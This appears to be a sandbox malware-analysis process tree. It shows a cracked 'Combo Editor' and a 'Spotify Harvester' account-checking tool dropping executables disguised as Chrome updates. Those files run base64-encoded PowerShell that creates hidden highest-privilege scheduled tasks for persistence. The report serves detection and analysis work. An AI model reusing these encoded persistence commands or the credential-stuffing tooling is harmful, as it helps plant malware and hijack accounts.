C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:12⤵PID:2628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5372 /prefetch:12⤵PID:4844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=1204 /prefetch:82⤵PID:4584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7160 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3028
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3136 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:2312
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:12⤵PID:1020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1012 /prefetch:12⤵PID:1596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6884 /prefetch:12⤵PID:4532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7408 /prefetch:12⤵PID:2068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7400 /prefetch:12⤵PID:1112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4620 /prefetch:12⤵PID:2120
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7872 /prefetch:82⤵PID:4848
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7920 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7940 /prefetch:12⤵PID:1636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7888 /prefetch:12⤵PID:440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7884 /prefetch:12⤵PID:5012
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8108 /prefetch:12⤵PID:536
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Combo Editor by xRisky v1.0.rar"2⤵
- Executes dropped EXE
PID:3396
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:4388
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Spotify Harvester\combo.txt1⤵PID:3696
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Spotify Harvester\key.txt1⤵PID:4144
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x404 0x3041⤵PID:1028
-
C:\Users\Admin\Desktop\Combo Editor by xRisky v1.0\Combo Editor by xRisky v1.0\Combo Editor by xRisky.exe"C:\Users\Admin\Desktop\Combo Editor by xRisky v1.0\Combo Editor by xRisky v1.0\Combo Editor by xRisky.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
PID:5112 -
C:\Users\Admin\AppData\Roaming\Google Chrome.exe"C:\Users\Admin\AppData\Roaming\Google Chrome.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4348
-
-
C:\Users\Admin\AppData\Roaming\Chrome Update Services.exe"C:\Users\Admin\AppData\Roaming\Chrome Update Services.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAeABxAGIAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgAnACkAIAA8ACMAbgBuAHEAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AEwAbwBnAE8AbgApACAAPAAjAHIAdwAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHYAZgBoACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwB4AGUAbgAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEMAaAByAG8AbQBlACAAVQBwAGQAYQB0AGUAIABTAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAA8ACMAbQB3AHMAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAHYAegB2ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620
-
-
-
C:\Users\Admin\AppData\Roaming\Google Chrome Update.exe"C:\Users\Admin\AppData\Roaming\Google Chrome Update.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbgAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBvAG8AZwBsAGUAXABVAHMAZQByAEQAYQB0AGEAXABHAG8AbwBnAGwAZQAgAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAiACcAKQAgADwAIwBuAGIAdQAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAaABiAHcAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwBjAGwAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABRAEMAJwAgACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGcAZgAjAD4AOwAgAEMAbwBwAHkALQBJAHQAZQBtACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEcAbwBvAGcAbABlACAAQwBoAHIAbwBtAGUAIABVAHAAZABhAHQAZQAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABHAG8AbwBnAGwAZQBcAFUAcwBlAHIARABhAHQAYQBcAEcAbwBvAGcAbABlACAAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwB5AHIAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAG0AcgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAFEAQwAnADsA"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
-
C:\Users\Admin\AppData\Roaming\Combo Editor by xRisky.exe"C:\Users\Admin\AppData\Roaming\Combo Editor by xRisky.exe"2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2608
-
-
C:\Users\Admin\Desktop\Combo Editor by xRisky v1.0\Combo Editor by xRisky v1.0\Combo Editor by xRisky.exe"C:\Users\Admin\Desktop\Combo Editor by xRisky v1.0\Combo Editor by xRisky v1.0\Combo Editor by xRisky.exe"1⤵
- Executes dropped EXE
PID:1108
-
C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:924
-
C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4016
-
C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"1⤵
- Executes dropped EXE
PID:3660
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Spotify Harvester\combo.txt1⤵PID:4160
-
C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"C:\Users\Admin\Desktop\Spotify Harvester\SpotifyHarvester - Cracked by Trauma.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3196
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Spotify Harvester\key.txt1⤵PID:5052
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:2160 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:3136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1600 /prefetch:22⤵PID:1368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1996 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2464 /prefetch:82⤵PID:4320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2812 /prefetch:12⤵PID:3488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2804 /prefetch:12⤵PID:1280
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2460 /prefetch:12⤵PID:2036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4652 /prefetch:82⤵PID:3380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4688 /prefetch:82⤵PID:5096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4972 /prefetch:82⤵PID:4948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4688 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5064 /prefetch:82⤵PID:456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4784 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:12⤵PID:4916
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5392 /prefetch:12⤵PID:832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3116 /prefetch:82⤵PID:3804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5320 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:800
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\SpotifyCheckerUltimate.zip"2⤵
- Executes dropped EXE
- Modifies registry class
PID:4524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2108 /prefetch:12⤵PID:1388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4124 /prefetch:12⤵PID:3984
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:12⤵PID:4876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:12⤵PID:3704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:12⤵PID:1960
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:12⤵PID:2724
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6164 /prefetch:12⤵PID:4352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6304 /prefetch:12⤵PID:4256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=6480 /prefetch:82⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:4540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6468 /prefetch:82⤵PID:412
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1556,2229274705169145908,1970746050871042391,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6816 /prefetch:82⤵
